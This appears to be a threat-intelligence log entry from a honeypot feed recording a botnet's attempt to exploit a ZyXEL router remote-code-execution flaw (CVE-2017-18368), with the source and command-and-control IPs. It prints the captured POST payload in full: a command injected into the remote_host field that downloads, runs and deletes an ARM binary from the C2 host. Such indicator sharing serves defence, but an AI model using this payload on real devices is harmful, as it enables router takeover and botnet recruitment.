Botnet C2 89.35.39.74

Source IP: 178.221.82.66
Reverse DNS: 178-221-82-66.dynamic.isp.telekom.rs
Country: Serbia
Payload: POST /cgi-bin/ViewLog.asp HTTP/1.1
POST Data: " remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=;cd /tmp;wget http://89.35.39.74/arm7;chmod 777 arm7;./arm7 zyxel;rm -rf arm7;#&r"
Target Port: 80
Bad Packets® Tags: ZyXEL RCE | Router | CVE-2017-18368
Date Last Seen: 2019-11-01T04:02:44Z